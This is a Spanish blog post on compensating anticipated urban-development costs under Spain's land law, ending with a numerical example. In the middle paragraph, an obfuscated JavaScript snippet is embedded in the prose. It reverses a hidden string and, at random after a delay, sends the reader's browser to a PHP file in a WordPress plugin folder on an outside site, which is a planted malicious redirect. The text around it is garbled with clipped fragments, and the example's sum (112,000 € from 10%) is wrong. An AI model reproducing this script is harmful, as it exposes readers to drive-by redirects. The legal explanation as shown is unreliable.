Indemnización de la iniciativa y la promoción (2)
Algunos gastos de urbanización que se hayan anticipado deben ser indemnizados cuando, a consecuencia una decisión administrativa, devengan inútiles para quien los haya realizado. La indemnización incluye el gasto realizado y una compensación adicional equivalente a la Prima de Riesgo y la Tasa Libre de Riesgo de una anualidad.
INDEMNIZACION DE LA INICIATIVA Y LA PROMOCIÓN: Posts anteriores
En el post anterior de esta serie describíamos como la LS07 había cambiado radicalmente el enfoque sobre el valor del suelo sujeto a actuación de transformación urbanística, ahora el suelo vale a origen mientras la actuación no haya terminado, incorporándose un correctivo al tener en cuenta las inversiones que se hayan podido realizar, este correctivo es la indemnización de la iniciativa y la promoción.
El concepto se corresponde con el supuesto indemnizatorio del tos se examinará próximamente, tras el examen de la indemnización de la promoción.
En este sentido, son indemnizables los gastos correspondientes a (tos técnicos de instrumentos de ordenación o ejecución necesarios
En el caso de los proyectos, estos tienen los requisitos adicionales de que, «conforme a la legislación de la ordenación territorial y urbanística», (Por ello y respecto a los proyectos, podría cuestionarse su aplicación en el caso de las actuaciones de dotación ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo” href=”http://www.boe.es/buscar/act.php?id=BOE-A-2008-10792#a9″ target=”_blank”>art. 9.3 TRLS) a pesar de que ambas pueden contemplar obras de urbanización, debiendo tenerse en cuenta que cuando se redactó este apartado (toria (Respecto a la edificación, no incluiría las construcciones que no sean edificación, es decir las instalaciones (Resultan contradictorios con la naturaleza indemnizatoria:
- El carácter tasado de los gastos indemnizables
- La restricción de la indemnización a los supuestos en que el gasto resulte inútil, es decir, totalmente inútil (p.ej., una modificación estructural que reduzca la edificabilidad y no requiera un nuevo instrumento de ordenación pormenorizada, porque sea suficiente con su reajuste, no daría lugar a la inutilidad del coste del instrumento de ordenación pormenorizada, aunque su coste sea diferente y altere sustancialmente las condiciones de la actuación).
Ejemplo: Indemnización de la iniciativaAdelanto de 100.000 € para la redacción del Plan Parcial.
Que finalmente resulta inútil para quien incurrió en dicho gasto.
Con una prima de riesgo del 8% (Con una del 2%
100 000 € x (1+8%+2%) = 112 000 €
Como se ha apuntado, próximamente examinaremos la Indemnización de la Promoción y el encaje global de la figura.
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Natxo Tejerina
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